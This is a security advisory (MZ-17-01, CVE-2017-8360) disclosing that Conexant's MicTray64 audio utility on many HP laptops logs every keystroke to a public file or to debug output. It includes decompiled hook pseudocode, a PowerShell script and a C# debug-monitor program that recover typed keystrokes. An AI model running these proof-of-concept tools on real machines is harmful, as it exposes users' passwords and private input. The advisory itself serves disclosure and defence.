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---------------------------------------------------------------- v3 -
modzero Security Advisory: Unintended/Covert Storage Channel for
sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]
---------------------------------------------------------------------

---------------------------------------------------------------------
1. Timeline
---------------------------------------------------------------------

* 2017-04-28: Vulnerability has been discovered in MicTray64 version
1.0.0.31 / Thu Dec 24 08:35:35 2015
* 2017-04-28: Vendor Conexant contacted (Email)
* 2017-04-29: Higher impact has been discovered in most recent
MicTray64 version 1.0.0.46 / Tue Oct 11 10:56:13 2016
* 2017-04-30: CVE-2017-8360 has been assigned to this vulnerability.
* 2017-05-01: Contacted Hewlett-Packard Enterprise security advisor
with detailed description of the problem.
* 2017-05-02: Contacted vendor Conexant via Twitter
* 2017-05-05: Sent technical information to HPE security contact.
Informed HPE about releasing the advisory on Monday 8th
of May in case we don't get any feedback on our report.
* 2017-05-05: Received some notes from HPE after sending technical
information. They tried to reach for security folks
at HP Inc. to gain attention.
* 2017-05-11: Release of the advisory

---------------------------------------------------------------------
2. Summary
---------------------------------------------------------------------

Vendor: Conexant Systems, Inc.

Software packages known to be affected:

* Recent and previous (Q2/2017) HP Audiodriver Packages /
Conexant High-Definition (HD) Audio Driver
Version 10.0.931.89 REV: Q PASS: 5
(ftp://whp-aus1.cold.extweb.hp.com/pub/softpaq/sp79001-79500/sp79420.html)
* Probably other hardware vendors, shipping Conexant hardware and
drivers

Systems known to be affected:

According to HP information in sp79420.html, the following systems
are affected:

* HARDWARE PRODUCT MODEL(S):
HP EliteBook 820 G3 Notebook PC
HP EliteBook 828 G3 Notebook PC
HP EliteBook 840 G3 Notebook PC
HP EliteBook 848 G3 Notebook PC
HP EliteBook 850 G3 Notebook PC
HP ProBook 640 G2 Notebook PC
HP ProBook 650 G2 Notebook PC
HP ProBook 645 G2 Notebook PC
HP ProBook 655 G2 Notebook PC
HP ProBook 450 G3 Notebook PC
HP ProBook 430 G3 Notebook PC
HP ProBook 440 G3 Notebook PC
HP ProBook 446 G3 Notebook PC
HP ProBook 470 G3 Notebook PC
HP ProBook 455 G3 Notebook PC
HP EliteBook 725 G3 Notebook PC
HP EliteBook 745 G3 Notebook PC
HP EliteBook 755 G3 Notebook PC
HP EliteBook 1030 G1 Notebook PC
HP ZBook 15u G3 Mobile Workstation
HP Elite x2 1012 G1 Tablet
HP Elite x2 1012 G1 with Travel Keyboard
HP Elite x2 1012 G1 Advanced Keyboard
HP EliteBook Folio 1040 G3 Notebook PC
HP ZBook 17 G3 Mobile Workstation
HP ZBook 15 G3 Mobile Workstation
HP ZBook Studio G3 Mobile Workstation
HP EliteBook Folio G1 Notebook PC
* OPERATING SYSTEM(S):
Microsoft Windows 10 32
Microsoft Windows 10 64
Microsoft Windows 10 IOT Enterprise 32-Bit (x86)
Microsoft Windows 10 IOT Enterprise 64-Bit (x86)
Microsoft Windows 7 Enterprise 32 Edition
Microsoft Windows 7 Enterprise 64 Edition
Microsoft Windows 7 Home Basic 32 Edition
Microsoft Windows 7 Home Basic 64 Edition
Microsoft Windows 7 Home Premium 32 Edition
Microsoft Windows 7 Home Premium 64 Edition
Microsoft Windows 7 Professional 32 Edition
Microsoft Windows 7 Professional 64 Edition
Microsoft Windows 7 Starter 32 Edition
Microsoft Windows 7 Ultimate 32 Edition
Microsoft Windows 7 Ultimate 64 Edition
Microsoft Windows Embedded Standard 7 32
Microsoft Windows Embedded Standard 7E 32-Bit

CVE-ID: CVE-2017-8360
Severity: High/Medium
Type: Covert Storage Channel
Vendor: Conexant Systems, Inc.
Product: mic tray icon
Version: =< 1.0.0.46
Attack type: Local
Affected Components: Scheduled Task c:windowssystem32mictray64.exe

---------------------------------------------------------------------
3. Details
---------------------------------------------------------------------

Conexant's MicTray64.exe is installed with the Conexant audio driver
package and registered as a Microsoft Scheduled Task to run after each
user login. The program monitors all keystrokes made by the user to
capture and react to functions such as microphone mute/unmute
keys/hotkeys. Monitoring of keystrokes is added by implementing a low-
level keyboard input hook [1] function that is installed by calling
SetwindowsHookEx().

In addition to the handling of hotkey/function key strokes, all key-
scancode information [2] is written into a logfile in a world-readable
path (C:UsersPublicMicTray.log). If the logfile does not exist or
the setting is not yet available in Windows registry, all keystrokes
are passed to the OutputDebugString API, which enables any process in
the current user-context to capture keystrokes without exposing
malicious behavior. Any framework and process with access to the
MapViewOfFile API should be able to silently capture sensitive data by
capturing the user's keystrokes. In version 10.0.0.31, only
OutputDebugString was used to forward key scancodes and nothing was
written to files. The following pseudocode shows the registration of
the keylogging function handler of MicTray64.exe version 1.0.0.46:

int64 keylogger_enable(bool activate)
{
[...]
if ( !keylogger_active )
{
[...]
// 13=WH_KEYBOARD_LL: Installs a hook procedure that
// monitors low-level keyboard input events. For
// more information, see the LowLevelKeyboardProc
// hook procedure.
hKeyloggerHook = SetWindowsHookExW(
13, (HOOKPROC)handle_scancode,
hSelf,
0);

if ( hKeyloggerHook )
{
keylogger_active = 1;
return 0;
}
[...]
}

After registering function handle_scancode() as a handler to
any keystroke made by the user, the following pseudo-code is executed
every time a key is pressed or released:

LRESULT handle_scancode(
int _in_nCode,
WPARAM _in_wParam,
tagKBDLLHOOKSTRUCT *_in_lParam_keystroke)
{
tagKBDLLHOOKSTRUCT *key_stroke;
WPARAM wParam;
int nCode;
int64 target;
DWORD is_keyfoo;
int is_keydown;
char tmp;
int64 key_flags;
int64 key_vk;

key_stroke = _in_lParam_keystroke;
wParam = _in_wParam;
nCode = _in_nCode;

if ( _in_nCode >= 0 )
{
target = (cfg_HotKeyMicScancode >> 8 *
(cfg_HotKeyMicScancode_len - cfg_HotKeyMicScancode_len2));
LODWORD(key_vk) = _in_lParam_keystroke->vkCode;
LODWORD(key_flags) = _in_lParam_keystroke->flags;
is_keyfoo = _in_lParam_keystroke->flags & 1;
is_keydown = ~(key_flags >> 7) & 1;

[*] send_to_dbglog(
0x1D,
L"Mic target 0x%x scancode 0x%x flags 0x%x extra 0x%x vk 0x%xn",
target,
_in_lParam_keystroke->scanCode,
key_flags,
_in_lParam_keystroke->dwExtraInfo,
key_vk);

conexant_handle_fn_keys(
cfg_MicMuteScancodeSettings,
is_keydown,
key_stroke->scanCode,
target,
&cfg_HotKeyMicScancode_len,
&cfg_HotKeyMicScancode_len2,
1);

if ( cfg_MicMuteScancodeSettings & 4 )
conexant_handle_fn_keys(
cfg_MicMuteScancodeSettings,
is_keydown,
key_stroke->scanCode,
(cfg_HotKeyMicScancode2 >> 8 *
(cfg_HotKeyMicScancode2_len - cfg_HotKeyMicScancode2_len2)),
&cfg_HotKeyMicScancode2_len,
&cfg_HotKeyMicScancode2_len2,
1);

tmp = cfg_SpkMuteScancodeSettings;

if ( cfg_SpkMuteScancodeSettings & 8 && is_keyfoo
|| !(cfg_SpkMuteScancodeSettings & 8) )
{
conexant_handle_fn_keys(
cfg_SpkMuteScancodeSettings,
is_keydown,
key_stroke->scanCode,
(cfg_HotKeySpkScancode >> 8 *
(cfg_HotKeySpkScancode_len - cfg_HotKeySpkScancode_len2)),
&dword_1402709C8,
&dword_1402709CC,
0);
tmp = cfg_SpkMuteScancodeSettings;
}

if ( tmp & 4 && (tmp & 8 && is_keyfoo || !(tmp & 8)) )
conexant_handle_fn_keys(
tmp,
is_keydown,
key_stroke->scanCode,
(cfg_HotKeySpkScancode2 >> 8 *
(cfg_HotKeySpkScancode2_len - cfg_HotKeySpkScancode2_len2)),
&cfg_HotKeySpkScancode2_len,
&cfg_HotKeySpkScancode2_len2,
0);
}
return CallNextHookEx(hhk, nCode, wParam, key_stroke);
}

The function called at [*] writes every keystroke to a file or
broadcast it via Microsofts Debug Monitor APIs via store_keystroke():

void store_keystroke(LPCVOID lpBuffer)
{
WORD *scancode_logline;
int64 str_len;
DWORD NumberOfBytesWritten;
int str_newline;
scancode_logline = lpBuffer;
if ( g_write_to_logfile )
{
SetFilePointer(g_hFile, 0, 0, 2);
str_len = -1;

while ( scancode_logline[str_len++ + 1] != 0 )
;

WriteFile(
g_hFile,
scancode_logline,
2 * str_len,
&NumberOfBytesWritten,
0);

str_newline = 'nr';
WriteFile(g_hFile, &str_newline, 4, &NumberOfBytesWritten, 0);
}
else
{
OutputDebugStringW(lpBuffer);
}
}

This issue leads to a high risk of leaking sensitive user input to any
person or process that is able to read files in
C:UsersPublicMicTray.log or call MapViewOfFile(). Investigators
with access to the unencrypted file-system might be able to recover
sensitive data of historic key-logs as well. Users are not aware that
every keystroke made while entering sensitive information - such as
passphrases, passwords on local or remote systems - are captured by
Conexant and exposed to any process and framework with access to the
file-system or MapViewOfFile API.
Additionally, this information-leak via Covert Storage Channel
enables malware authors to capture keystrokes without taking the risk
of being classified as malicious task by AV heuristics.

It is not recommended to provide information on keystrokes to
arbitrary processes by writing keystrokes to disk or by using
OutputDebugStringW() for debugging purposes.

---------------------------------------------------------------------
4. Impact
---------------------------------------------------------------------

Any process that is running in the current user-session and therefore
able to monitor debug messages, can capture keystrokes made by the
user. Processes are thus able to record sensitive data such as
passwords, without performing suspicious activities that may trigger
AV vendor heuristics. Furthermore, any process running on the system
by any user is able to access all keystrokes made by the user via
file-system access. It is not known, if log-data is submitted to
Conexant at any time or why all key presses are logged anyway.

---------------------------------------------------------------------
5. Proof of concept exploit
---------------------------------------------------------------------

A proof-of-concept can be implemented by using PowerShell to
parse MicTray.log:

$filename = "c:userspublicMicTray.log"

[System.IO.FileStream] $fs = [System.IO.File]::Open(
$filename,
[System.IO.FileMode]::Open,
[System.IO.FileAccess]::Read,
[System.IO.FileShare]::ReadWrite)

[System.IO.StreamReader] $fr = [System.IO.StreamReader]::new(
$fs,
[Text.UTF8Encoding]::UNICODE)

$el = 0

while($el -lt 2) {

$line = $fr.ReadLine()

# handle broken newlines in log...
if([string]::IsNullOrEmpty($line)) {
$el++
} else {
$el=0
}

$mc = [regex]::Match($line,
"MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$")
$r = $mc.Groups[2].Value

if(-Not [string]::IsNullOrEmpty($r)) {
$i = [convert]::ToInt32($r, 16)
$c = [convert]::ToChar($i)

if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' }

write-host -NoNewLine $("{0}" -f $c)
}
}

However, if no logfile is written, it is also possible to obtain
keystrokes by just following Microsoft's DbMon Debug Monitor [3]
approach of capturing strings passed to OutputDebugString [4]:

namespace mod0_dbgview
{
class Program
{
public static void Main(string[] args)
{
DebugMonitor.Start();
DebugMonitor.OnOutputDebugString += new
OnOutputDebugStringHandler(OnOutputDebugString);
Console.WriteLine("Press 'Enter' to exit.");
Console.ReadLine();
DebugMonitor.Stop();
}
// version 1.0.0.46
private static void OnOutputDebugString(int pid, string text)
{
char sep = ' ';
char nl = 'n';
text = text.TrimEnd(nl);
string[] items = text.Split(sep);
if (items[7].Equals("Mic"))
{
int c_int = Convert.ToInt32(items[17], 16);
if (c_int == 0xd)
{
Console.WriteLine();
}
else if (Convert.ToInt32(items[13], 16) == 0x00)
Console.Write("{0}", (char)(c_int & 0xff));
}
}

// version 1.0.0.31
private static void OnOutputDebugString_v31(
int pid,
string text)
{
char sep = ' ';
string[] items = text.Split(sep);
if (items[0].Equals("Mic"))
{
int c_int = Convert.ToInt32(items[10], 16);
if (c_int == 0xd)
{
Console.WriteLine();
}
else if(Convert.ToInt32(items[6], 16) == 0x00)
Console.Write("{0}", (char)(c_int & 0xff));
}
}
}
}

Any framework that provides an API down to ReadFile() or Microsoft's
MapViewOfFile() should be able to capture keystrokes captured by
Conexant's audio driver utils. By using Microsoft Windows Sysinternals
Dbgview [5], keystrokes can be visualized easily, if they are not
written to file.

---------------------------------------------------------------------
6. Workaround
---------------------------------------------------------------------

Delete MicTray executables and logfiles. Deleting the Scheduled
Task is not sufficient, as Conexant's Windows Service CxMonSvc will
launch MicTray otherwise. The executable is located at
c:WindowsSystem32MicTray64.exe, the MicTray logfile is located at
C:UsersPublicMicTray.log

---------------------------------------------------------------------
7. Fix
---------------------------------------------------------------------

It is not known to modzero, if a security fix is available.

---------------------------------------------------------------------
8. References
---------------------------------------------------------------------

[1] "LowLevelKeyboardProc callback function" -
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
[2] KBDLLHOOKSTRUCT structure -
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644967(v=vs.85).aspx
[3] "DbMon: Implements a Debug Monitor" -
https://msdn.microsoft.com/en-us/library/aa242171(v=vs.60).aspx
[4] "MSDN/OutputDebugString function" -
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363362(v=vs.85).aspx
[5] "Microsoft Windows Sysinternals DebugView"
https://technet.microsoft.com/en-us/sysinternals/debugview.aspx
[6] "modzero Security Advisory: Unintended/Covert Storage Channel for
sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]" -
https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt

SHA256 sums:
127163c863b320814b6f420390db9d5ce48e9158bdb62aa94e953d85ec1e7a89 *MicTray64_v31.exe
7245f89fa00ea5fe5b290758a99288188d58cdaf2f4192ce469a5f4d256eaae0 *MicTray64_v31.i64 (IDA Pro DB by April 29, 2017)
ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v31.xml
c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8 *MicTray64_v46.exe
4563a0e4e85edeb7ddeba57d1cb8e4a30f1b5ee9fb128725a2664de2aa8c17ec *MicTray64_v46.i64 (IDA Pro DB by April 29, 2017)
ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v46.xml

---------------------------------------------------------------------
9. Credits
---------------------------------------------------------------------

* Thorsten Schroeder

---------------------------------------------------------------------
10. About modzero
---------------------------------------------------------------------

The independent Swiss company modzero AG assists clients with
security analysis in the complex areas of computer technology. The
focus lies on highly detailed technical analysis of concepts,
software and hardware components as well as the development of
individual solutions. Colleagues at modzero AG work exclusively in
practical, highly technical computer-security areas and can draw on
decades of experience in various platforms, system concepts, and
designs.

https://www.modzero.ch
contact@modzero.ch

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